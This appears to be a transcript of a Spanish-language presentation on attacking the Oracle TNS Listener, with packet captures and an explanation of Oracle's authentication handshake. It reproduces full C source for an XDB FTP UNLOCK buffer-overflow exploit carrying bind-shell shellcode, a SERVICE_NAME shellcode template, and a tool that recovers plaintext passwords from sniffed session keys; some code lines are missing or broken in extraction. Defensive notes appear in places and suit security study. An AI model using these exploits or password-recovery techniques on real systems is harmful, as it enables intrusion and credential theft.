Protocol: 6 (TCP)

Checksum: 0x41e5

Source IP: 192.168.0.120

Dest IP: 192.168.0.59

24

TCP Header

Source port: 1521

Dest port: 3004

Sequence: 1152664576

ack: 2478634793

Header length: 0x50

Flags: 0x18 (ACK PSH)

Window Size: 17451

Checksum: 0xcae1

Urgent Pointer: 0

Raw Data

00 8d 00 00 04 00 00 00 22 00 00 81 28 44 45 53 " (DES

43 52 49 50 54 49 4f 4e 3d 28 45 52 52 3d 31 31 CRIPTION=(ERR=11

35 33 29 28 56 53 4e 4e 55 4d 3d 31 36 39 38 36 53)(VSNNUM=16986

39 35 36 38 29 28 45 52 52 4f 52 5f 53 54 41 43 9568)(ERROR_STAC

4b 3d 28 45 52 52 4f 52 3d 28 43 4f 44 45 3d 31 K=(ERROR=(CODE=1

31 35 33 29 28 45 4d 46 49 3d 34 29 28 41 52 47 153)(EMFI=4)(ARG

53 3d 27 75 6e 62 72 65 61 6b 61 62 6c 65 27 29 S='irrompible')

29 28 45 52 52 4f 52 3d 28 43 4f 44 45 3d 33 30 )(ERROR=(CODE=30

33 29 28 45 4d 46 49 3d 31 29 29 29 29 3)(EMFI=1))))

USANDO LA FUNCION TTC

Una vez el cliente acepta un paquete recibido del servidor, éste tiene la potestad

de negociar información de red adicional, como puede ser: Autenticación,

encriptación, integridad de datos, etc. La versión del cliente o del servidor se puede

encontrar en los tres bytes posteriores al ANO gnegotiation hearder (0xDEADBEEF)

– con un total de 17 bytes. En la siguiente captura se puede ver:

IP Header

25



Total length: 203

Identifier: 14473

Flags: 0x4000

TTL: 128

Protocol: 6 (TCP)

Checksum: 0x3fa0

Source IP: 192.168.0.59

Dest IP: 192.168.0.120

TCP Header

Source port: 4194

Dest port: 1495

Sequence: 422372252

ack: 597087647

Header length: 0x50


Window Size: 65087

Checksum: 0x7e36

Urgent Pointer: 0

Raw Data

00 a3 00 00 06 00 00 00 00 00 de ad be ef 00 99

08 10 74 00 00 04 00 00 04 00 03 00 00 00 00 00 t

04 00 05 08 10 74 00 00 02 00 06 00 1f 00 0e 00 t

01 de ad be ef 00 03 00 00 00 02 00 04 00 01 00

26

01 00 07 00 00 00 00 00 04 00 05 08 10 74 00 00 t

02 00 06 fa ff 00 01 00 02 01 00 03 00 00 4e 54 NT

53 00 04 00 05 02 00 00 00 00 04 00 04 00 00 00 S

00 00 04 00 04 00 00 00 02 00 02 00 02 00 00 00

00 00 04 00 05 08 10 74 00 00 01 00 02 00 00 03 t

00 02 00 00 00 00 00 04 00 05 08 10 74 00 00 01 t

00 02 00

ATACANDO EL TNS LIST ENER

Como se avanzaba anteriormente, en versiones 10g y anteriores es TNS Listener

puede ser administrado remotamente. Entre otras cosas es posible especificar o

cambiar el path de los ficheros de log, por lo que en este caso es posible por ejemplo

cambiar el path a un fichero batch en el directorio de inicio del administrador en

sistemas Windows o el fichero .rhosts en el directorio home de Oracle en sistemas

*nix. Una vez realizado este cambio el atacante puede enviar un comando o “++” en

caso de *nix pudiendo ejecutar comandos como el usuario Oracle. Es recomendable

establecer una password segura en el Listener así como utilizar Admin Restrictions

para impedir por ejemplo que se cambie el path de los logs de forma remota y forzar a

que el cambio tenga que realizarse en local.

Históricamente el TNS Listener sufrió numerosos casos de buffer overflow, por

ejemplo, uno de los más usados en exploiting de Oracle es el que usaba el

service_name para introducir una shellcode en el sistema, a continuación vemos un

ejemplo:

(DESCRIPTION=(ADDRESS=

(PROTOCOL=TCP)(HOST=192.168.0.65)

(PORT=1521))(CONNECT_DATA=

(SERVICE_NAME=shellcode_goes_here)

(CID=

(PROGRAM=SQLPLUS.EXE)

(HOST=foo)(USER=bar))))

27

El error o vulnerabilidad se produce cuando el sistema copia el nombre o service-

name a la pila (la cual usa como buffer) para escribir el error log, permitiendo de esta

forma hacer exploiting para ganar el control sobre el proceso en ejecución.

Existen muchos otros buffer Overflow, la inmensa mayoría corregidos en

versiones recientes, igualmente los métodos usados para atacar el Listener (Sid

enumeration, etc) son comúnmente conocidos, por lo que no se tratarán en este

capítulo, por no aportar nada nuevo.

BYPASSING DE RESTRIC CIONES DE LISTENER E N 10G

Una de las medidas que se adoptaron a partir de la versión 10g fue la de introducir

restricciones para usuarios remotos, de manera que ciertas configuraciones requieren

que se realicen en local. En ciertos casos, no siempre, es posible bypassear estas

restricciones, en un primer momento podríamos conectarnos a la base de datos y

luego usar UTL_TCP para conectarse al Listener, debido a que la petición se hace

desde el mismo sistema, es decir, en local, tendríamos total acceso aunque de forma

remota. Otra posible forma para realizar el bypassing consiste en la conexión a

127.0.0.1, cuando se hace esto, el Listener es redirigido a través de pipe, el cual puede

conectarse y enviar comandos, por lo que una forma muy simple podría usar las

características de conexión en formato string para introducir dicho comando, en

versiones recientes esta vulnerabilidad ha sido solucionada.

El Listener es también alcanzable vía dispatchers, estos son básicamente dos, el

XDB y los Aurora GIOP, estos últimos se usaban en versiones 8 y 9 de Oracle, por lo

que nos centraremos en el despachador de XML Database o XBD.

XDB DATABASE

El XDB o Database XML ofrece dos servicios, uno a través de http en el puerto

8080 TCP y otro basado en FTP en el puerto 2100 TCP. Al igual que en el caso

anterior, históricamente XDB sufrió multitud de buffers overflow, inclusive buffer

overflows en el mecanismo de autenticación cuando se usaban nombre largos, por

ejemplo el siguiente exploit aprovecha esta vulnerabilidad en XDB 9.2.0.1 corriendo

sobre Linux:

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

28

#include <netdb.h>


{

struct hostent *he;

struct sockaddr_in sa;

int sock;

unsigned int addr = 0;

char recvbuffer[512]="";

char user[260]="user ";

char passwd[260]="pass ";

int rcv=0;

int snd =0;

int count = 0;

unsigned char nop_sled[1804]="";

unsigned char saved_return_address[]="\x41\xc8\xff\xbf";

unsigned char exploit[2100]=" unlock / AAAABBB"

"BCCCCDDDDEEEEFFF"

"FGGGGHHHHIIIIJJJ"

"JKKKKLLLLMMMMNNN"

"NOOOOPPPPQQQQRRR"

"RSSSSTTTTUUUUVVV"

"VWWWWXXXXYYYYZZZ"

"Zaaaabbbbccccdd";

unsigned char

code[]="\x31\xdb\x53\x43\x53\x43\x53\x4b\x6a\x66\x58\x54\x59\xcd"

"\x80\x50\x4b\x53\x53\x53\x66\x68\x41\x41\x43\x43\x66\x53"

"\x54\x59\x6a\x10\x51\x50\x54\x59\x6a\x66\x58\xcd\x80\x58"

"\x6a\x05\x50\x54\x59\x6a\x66\x58\x43\x43\xcd\x80\x58\x83"

"\xec\x10\x54\x5a\x54\x52\x50\x54\x59\x6a\x66\x58\x43\xcd"

29

"\x80\x50\x31\xc9\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58"

"\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x6a\x0b\x58\x99\x52\x68"

"\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x54\x5b\x52\x53\x54"

"\x59\xcd\x80\r\n";

if(argc !=4)

{

printf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit");

printf("\n\t\tfor Blackhat (http://www.blackhat.com)");

printf("\n\n\tSpawns a shell listening on TCP Port 16705");

printf("\n\n\tUsage:\t%s host userid password",argv[0]);

printf("\n\n\tDavid Litchfield\n\t([email protected])");

printf("\n\t7th July 2003\n\n\n");

return 0;

}

while(count < 1800)

nop_sled[count++]=0x90;

// Build the exploit

strcat(exploit,saved_return_address);

strcat(exploit,nop_sled);

strcat(exploit,code);

// Process arguments

strncat(user,argv[2],240);

strncat(passwd,argv[3],240);

strcat(user,"\r\n");

strcat(passwd,"\r\n");

// Setup socket stuff

sa.sin_addr.s_addr=INADDR_ANY;

sa.sin_family = AF_INET;

sa.sin_port = htons((unsigned short) 2100);

30

// Resolve the target system

if(isalpha(argv[1][0])==0)

{

addr = inet_addr(argv[1]);

memcpy(&sa.sin_addr,&addr,4);

}

else

{

he = gethostbyname(argv[1]);

if(he == NULL)

return printf("Couldn't resolve host %s\n",argv[1]);

memcpy(&sa.sin_addr,he->h_addr,he->h_length);

}

sock = socket(AF_INET,SOCK_STREAM,0);

if(sock < 0)

return printf("socket() failed.\n");

if(connect(sock,(struct sockaddr *) &sa,sizeof(sa)) < 0)

{

close(sock);

return printf("connect() failed.\n");

}

printf("\nConnected to %s....\n",argv[1]);

// Receive and print banner

rcv = recv(sock,recvbuffer,508,0);

if(rcv > 0)

{

printf("%s\n",recvbuffer);

bzero(recvbuffer,rcv+1);

}

31

else

{

close(sock);

return printf("Problem with recv()\n");

}

// send user command

snd = send(sock,user,strlen(user),0);

if(snd != strlen(user))

{

close(sock);

return printf("Problem with send()....\n");

}

else

{

printf("%s",user);

}

// Receive response. Response code should be 331


if(rcv > 0)

{

if(recvbuffer[0]==0x33 && recvbuffer[1]==0x33 &&

recvbuffer[2]==0x31)

{



}

else

{

close(sock);

32

return printf("FTP response code was not 331.\n");

}

}

else

{

close(sock);


}

// Send pass command

snd = send(sock,passwd,strlen(passwd),0);

if(snd != strlen(user))

{

close(sock);


}

else

printf("%s",passwd);

// Receive reponse. If not 230 login has failed.


if(rcv > 0)

{

if(recvbuffer[0]==0x32 && recvbuffer[1]==0x33 &&

recvbuffer[2]==0x30)

{



}

else

{

33

close(sock);

return printf("FTP response code was not 230. Login failed...\n");

}

}

else

{

close(sock);


}

// Send the UNLOCK command with exploit

snd = send(sock,exploit,strlen(exploit),0);

if(snd != strlen(exploit))

{

close(sock);


}

// Should receive a 550 error response.


if(rcv > 0)


printf("\n\nExploit code sent....\n\nNow telnet to %s 16705\n\n",argv[1]);

close(sock);

return 0;

}

34

ATACANDO EL MECANISM O DE AUTENTICACIÓN

Antes de conseguir acceso total a la base de datos, es necesario conseguir acceso,

aunque esto parece una trivialidad, en esencia es la diferencia entre autenticación y

autorización, es decir, primero deberemos conseguir que el sistema nos autentique,

aunque no tengamos autorizado el acceso a determinados datos o funciones del

sistema. La autenticación se puede conseguir por varios medios, desde usando buffers

overflows para hacer el exploiting hasta realizando ataques de fuerza bruta o

diccionario, pasando por todas las opciones intermedias que pueden existir para

conseguir autenticarse.

A estas alturas ya estamos en condiciones de entender como funciona el proceso

de autenticación en Oracle. Cuando intentamos conectar a una base de datos, el

cliente en primer lugar se conectará al TNS Listener, como ya es sabido. El siguiente

es un Dump del paquete de conexión:

IP Header



Total length: 320

Identifier: 9373

Flags: 0x4000

TTL: 128

Protocol: 6 (TCP)

Checksum: 0x532d

Source IP: 192.168.0.120

Dest IP: 192.168.0.37

TCP Header

Source port: 1916

Dest port: 1521


ack: 2168229595

Header length: 0x50


35

Window Size: 17520

Checksum: 0x4915

Urgent Pointer: 0

Raw Data

01 18 00 00 01 00 00 00 01 39 01 2c 00 00 08 00 9 ,

7f ff c6 0e 00 00 01 00 00 de 00 3a 00 00 02 00 :

61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa

00 00 00 00 00 00 00 00 00 00 28 44 45 53 43 52 (DESCR

49 50 54 49 4f 4e 3d 28 41 44 44 52 45 53 53 3d IPTION=(ADDRESS=

28 50 52 4f 54 4f 43 4f 4c 3d 54 43 50 29 28 48 (PROTOCOL=TCP)(H

4f 53 54 3d 31 39 32 2e 31 36 38 2e 30 2e 33 37 OST=192.168.0.37

29 28 50 4f 52 54 3d 31 35 32 31 29 29 28 43 4f )(PORT=1521))(CO

4e 4e 45 43 54 5f 44 41 54 41 3d 28 53 45 52 56 NNECT_DATA=(SERV

45 52 3d 44 45 44 49 43 41 54 45 44 29 28 53 45 ER=DEDICATED)(SE

52 56 49 43 45 5f 4e 41 4d 45 3d 6f 72 61 38 31 RVICE_NAME=ora81

37 2e 6e 67 73 73 6f 66 74 77 61 72 65 2e 63 6f 7.ngssoftware.co

6d 29 28 43 49 44 3d 28 50 52 4f 47 52 41 4d 3d m)(CID=(PROGRAM=

43 3a 5c 6f 72 61 63 6c 65 5c 70 72 6f 64 75 63 C:\oracle\produc

74 5c 31 30 2e 32 2e 30 5c 64 62 5f 31 5c 62 69 t\10.2.0\db_1\bi

6e 5c 73 71 6c 70 6c 75 73 2e 65 78 65 29 28 48 n\sqlplus.exe)(H

4f 53 54 3d 4f 52 41 29 28 55 53 45 52 3d 6f 72 OST=ORA)(USER=or

61 63 6c 65 29 29 29 29 acle)))))

Nótese que el Service_Name entry= ora817.ngssoftware.com. Este servicio no

está registrado con el TNS Listener, por lo que generará un error. Si es servicio esta

registrado, el Listener redirige al cliente conectando a otro puerto TCP.

IP Header


36


Total length: 104

Identifier: 32335

Flags: 0x4000

TTL: 128

Protocol: 6 (TCP)

Checksum: 0xfa52

Source IP: 192.168.0.37

Dest IP: 192.168.0.120

TCP Header

Source port: 1521

Dest port: 1916


ack: 2802498392

Header length: 0x50

Flags: 0x18 (ACK PSH )

Window Size: 65255

Checksum: 0xe663

Urgent Pointer: 0

Raw Data

00 40 00 00 05 00 00 00 00 36 28 41 44 44 52 45 @ 6(ADDRE

53 53 3d 28 50 52 4f 54 4f 43 4f 4c 3d 74 63 70 SS=(PROTOCOL=tcp

29 28 48 4f 53 54 3d 31 39 32 2e 31 36 38 2e 30 )(HOST=192.168.0

2e 33 37 29 28 50 4f 52 54 3d 33 35 39 30 29 29 .37)(PORT=3590))

En este caso el cliente es redirigido al puerto 3590 TCP. Si el servidor está

corriendo en MTS (multi-threaded server), el cliente no será redirigido y todas las

comunicaciones tendrán lugar sobre el puerto 1521, cuando el cliente está conectado

al nuevo puerto, se produce la petición de servicio, como en el caso de la conexión al

Listener.

37

IP Header



Total length: 236

Identifier: 59545

Flags: 0x4000

TTL: 128

Protocol: 6 (TCP)

Checksum: 0x8f84

Source IP: 192.168.0.37

Dest IP: 192.168.0.120

TCP Header

Source port: 2500

Dest port: 1521

Sequence: 668563957

ack: 2568057659

Header length: 0x50


Window Size: 32780

Checksum: 0x65e8

Urgent Pointer: 0

Raw Data

00 c4 00 00 06 00 00 00 00 00 03 76 02 b0 5f df v _

00 06 00 00 00 01 00 00 00 58 cc 12 00 04 00 00 X

00 28 ca 12 00 14 ce 12 00 06 73 79 73 74 65 6d ( system

0d 00 00 00 0d 41 55 54 48 5f 54 45 52 4d 49 4e AUTH_TERMIN

41 4c 07 00 00 00 07 47 4c 41 44 49 55 53 00 00 AL GLADIUS

00 00 0f 00 00 00 0f 41 55 54 48 5f 50 52 4f 47 AUTH_PROG

52 41 4d 5f 4e 4d 0b 00 00 00 0b 53 51 4c 50 4c RAM_NM SQLPL

38

55 53 2e 45 58 45 00 00 00 00 0c 00 00 00 0c 41 US.EXE A

55 54 48 5f 4d 41 43 48 49 4e 45 11 00 00 00 11 UTH_MACHINE

57 4f 52 4b 47 52 4f 55 50 5c 47 4c 41 44 49 55 WORKGROUP\GLADIU

53 00 00 00 00 08 00 00 00 08 41 55 54 48 5f 50 S AUTH_P

49 44 09 00 00 00 09 35 35 37 36 3a 35 34 35 36 ID 5576:5456

00 00 00 00

En la captura anterior, ese aprecia que el nombre de usuario es “system”. El

sistema realizará una comprobación para ver si el nombre de usuario “system” es

válido. Si el usuario no existe el sistema enviará un error de “logon denied” al cliente.

En caso de que el usuario exista, el sistema extrae de la base de datos el hash de la

password del mismo y usa ese mismo hash para generar un “secret number”. El

número secreto se crea de la siguiente forma: el servidor realiza la llamada slgdt() de

la librería de Oracle, esta función básicamente obtiene el tiempo del sistema (minutos,

horas, milisegundos y segundos) y lo almacena como WORD, a continuación creará

ocho bytes cifrados, los primeros cuatro bytes de la clave son usados para representar

los (minutos y horas) XOR (últimos cuatro bytes), estos últimos cuatro bytes son

(milisegundos y segundos XOR 4 primeros bytes del hash). Esta clave se usa para

encriptar el texto de la llamada a la función kzsrenc(), esta función básicamente

establece en DES usando lncgks() y lncecb() para habilitar el cifrado DES en modo

ECB.

El secret number es también encriptado con el hash de la password de usuario el

resultado se guarda en AUTH_SESSKEY, esto es lo que se envía:

IP Header



Total length: 185

Identifier: 52755

Flags: 0x4000

TTL: 128

Protocol: 6 (TCP)

Checksum: 0xaa3d

Source IP: 192.168.0.120

Dest IP: 192.168.0.37

TCP Header

39

Source port: 1521

Dest port: 2500


ack: 668564153

Header length: 0x50


Window Size: 16275

Checksum: 0x4c2d

Urgent Pointer: 0

Raw Data

00 91 00 00 06 00 00 00 00 00 08 01 00 0c 00 00

00 0c 41 55 54 48 5f 53 45 53 53 4b 45 59 10 00 AUTH_SESSKEY

00 00 10 36 43 43 33 37 42 41 33 44 41 37 39 37 6CC37BA3DA797

35 44 36 00 00 00 00 04 01 00 00 00 00 00 00 00 5D6

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 02 00 00 00 00 00 00 36 01 00 00 00 00 00 6

00 b8 00 8b 0a 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00

Una vez recibido el AUTH_SESSKEY, el cliente debe desencriptar esta clave

para conseguir el secret number. El usuario o cliente crea una copia de su propio hash

de password usando lncupw(), que es otra de las funciones que proporciona Oracle.

Por tanto el hash es usado como clave para desencriptar el AUTH_SESSKEY y si

todo va bien se obtiene el número secreto, esta clave secreta será luego usada para

encriptar el texto del usuario, el texto cifrado es enviado al servidor como

AUTH_PASSWORD:

IP Header



40

Total length: 839

Identifier: 59546

Flags: 0x4000

TTL: 128

Protocol: 6 (TCP)

Checksum: 0x8d28

Source IP: 192.168.0.37

Dest IP: 192.168.0.120

TCP Header

Source port: 2500

Dest port: 1521

Sequence: 668564153

ack: 2568057804

Header length: 0x50


Window Size: 32762

Checksum: 0x0838

Urgent Pointer: 0

Raw Data

03 1f 00 00 06 00 00 00 00 00 03 73 03 b0 5f df s _

00 06 00 00 00 01 01 00 00 1c da 12 00 07 00 00

00 88 d6 12 00 3c dc 12 00 06 73 79 73 74 65 6d < system

0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f AUTH_PASSWO

52 44 11 00 00 00 11 36 36 36 43 41 46 45 36 37 RD 666CAFE67

34 39 43 39 44 37 37 30 00 00 00 00 0d 00 00 00 49C9D770

41

....

El servidor desencripta el AUTH_PASSWORD con el número secreto mediante

una llamada a la función kzsrdep() . El servidor tiene en este momento una copia de la

password en texto plano, a continuación el servidor crea un hash y lo contrasta con el

hash que tiene almacenado en la base de datos, si hace match el usuario es

autenticado. A continuación el servidor realizará comprobaciones para saber, por

ejemplo, si el usuario tiene privilegios para poder crear una sesión.

Llegados este punto podemos darnos cuenta que si el AUTH_PASSWORD es de

16 caracteres de longitud entonces la password es de 8 o menos, por otro lado si la

longitud de AUTH_PASSWORD es de 32 caracteres la password tendrá una longitud

entre 9 y 16 caracteres. Esta información la deducimos únicamente capturando tráfico

de red y nos puede servir para ver cuan factible sería un ataque de cracking sobre esos

hashes.

CRIPTO-ATACANDO Y LA IMPORTANCIA DE PROTEGER LA CAPA 2

Conseguir los hashes de Oracle es un proceso trivial y que hacer con ellos

depende en gran medida de la fortaleza, el primer intento debería ser usar rainbow

tables (hashes pre-computados), en un segundo intento se podría intentar lanzar

ataques de diccionarios (más o menos personalizados, no diccionarios estándares) y a

la muy malas siempre nos quedaría lanzar un ataque de fuerza bruta, lo cual muchas

veces es inviable. Pero no debemos centrarnos únicamente en crackear el hash, la

pregunta es, ¿Qué podemos hacer con el hash?, imaginemos que hemos conseguido el

hash y queremos tener el texto en plano, para ello podemos sniffar el tráfico de red

buscando AUTH_SESSKEY y AUTH_PASSWORD, es así como conseguiremos el

texto el plano. Como tenemos el hash podemos descencriptar el AUTH_SESSKEY y

conseguir en secret number, luego usaremos este número secreto para desencriptar

AUTH_PASSWORD y sin hacer nada más tendremos el texto en claro.

Como se puede ver uno de los grandes problemas o ventajas según se mire, es el

que se pueda hacer sniffing en la red, aquí radica la problemática de la inseguridad de

capas inferiores, por defecto en una red segura, no debería estar permitido el envenena

miento de arp, por lo que tampoco se podría hacer un MIT (man in the middle) y por

supuesto debería estar limitado el poder usar el modo promíscuo de las tarjetas de red

y por consecuencia no se debería permitir capturar tráfico de red en redes conmutadas

(los switch´s deberían configurarse adecuadamente y contemplar opciones de Vlan´s).

Obviamente la seguridad en la capa 2 en entornos considerados críticos en lo que a

Oracle se refiere es, en la mayoría de los casos, es una utopía.

El siguiente código usa las funciones kzsrdec() y kzsrdep() para obtener el texto

en claro usando el hash la AUTH_SESSKEY y AUTH_PASSWORD:

/*

42

C:\>cl /TC opass.c

C:\>opass E:\oracle\ora81\BIN\oracommon8.dll

EED9B65CCECDB2E9

DF0536A94ADEE746

36A2CB576171FEAD

Secret is CEAF9C221915EC3E

Password is password

*/

#include <stdio.h>



{

FARPROC kzsrdec = NULL;

FARPROC kzsrdep = NULL;

HANDLE oracommon = NULL;

unsigned char dll_path[260]="";

unsigned char hash[40]="";

unsigned char sess[40]="";

unsigned char pass[260]="";

unsigned char o[20]="";

unsigned char pwd[200]="";

if(argc!=5)

{

printf("\n\t*** Oracle Password Revealer ***\n\n");

return 0;

43

}

strncpy(dll_path,argv[1],256);

strncpy(hash,argv[2],36);

strncpy(sess,argv[3],36);

strncpy(pass,argv[4],256);

if(StringToHex(hash,1)==0)

return printf("Error in the password hash.\n");

if(StringToHex(sess,1)==0)

return printf("Error in the auth_sesskey.\n");

if(StringToHex(pass,0)==0)

return printf("Error in the auth_password.\n");

oracommon = LoadLibrary(dll_path);

if(!oracommon)

return printf("Failed to load %s\n",dll_path);

kzsrdec = GetProcAddress(oracommon," kzsrdec");

if(!kzsrdec)

return printf("No address for kzsrdec.\n");

kzsrdep = GetProcAddress(oracommon," kzsrdep");

if(!kzsrdep)

return printf("No address for kzsrdep.\n");

kzsrdec(sess,o,hash);

printf("\nSecret is

%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X\n",o[0],o[1],o[2],o[3],o[4],o[5],o[6],o[

7]);

kzsrdep(pwd,pass,strlen(pass),o);

printf("Password is %s\n",pwd);

44

return 0;

}

int StringToHex(char *str,int cnv)

{

unsigned int len = 0, c=0,i=0;

unsigned char a=0,b=0;

unsigned char tmp[12]="";

len = strlen(str);

if(len > 16)

return 0;

while(c < len)

{

a = str[c++];

b = str[c++];

if(a > 0x2F && a < 0x3A)

a = a - 0x30;

else if(a > 0x40 && a < 0x47)

a = a - 0x37;

else if(a > 0x60 && a < 0x67)

a = a - 0x57;

else

return 0;

if(b > 0x2F && b < 0x3A)

b = b - 0x30;

else if(b > 0x40 && a < 0x47)

45

b = b - 0x37;

else if(a > 0x60 && a < 0x67)

b = b - 0x57;

else

return 0;

a = a << 4;

a = a + b;

tmp[i]=a;

i ++;

}

memset(str,0,len);

c=0;

if(cnv)

{

while(c < 8)

{

str[c+0]=tmp[c+3];

str[c+1]=tmp[c+2];

str[c+2]=tmp[c+1];

str[c+3]=tmp[c+0];

c = c + 4;

}

return 1;

}

while(c < 8)

46

{

str[c]=tmp[c];

c = c ++;

}

return 1;

}

Anatomía de un ataque a tns listener

Technology

Transcript of Anatomía de un ataque a tns listener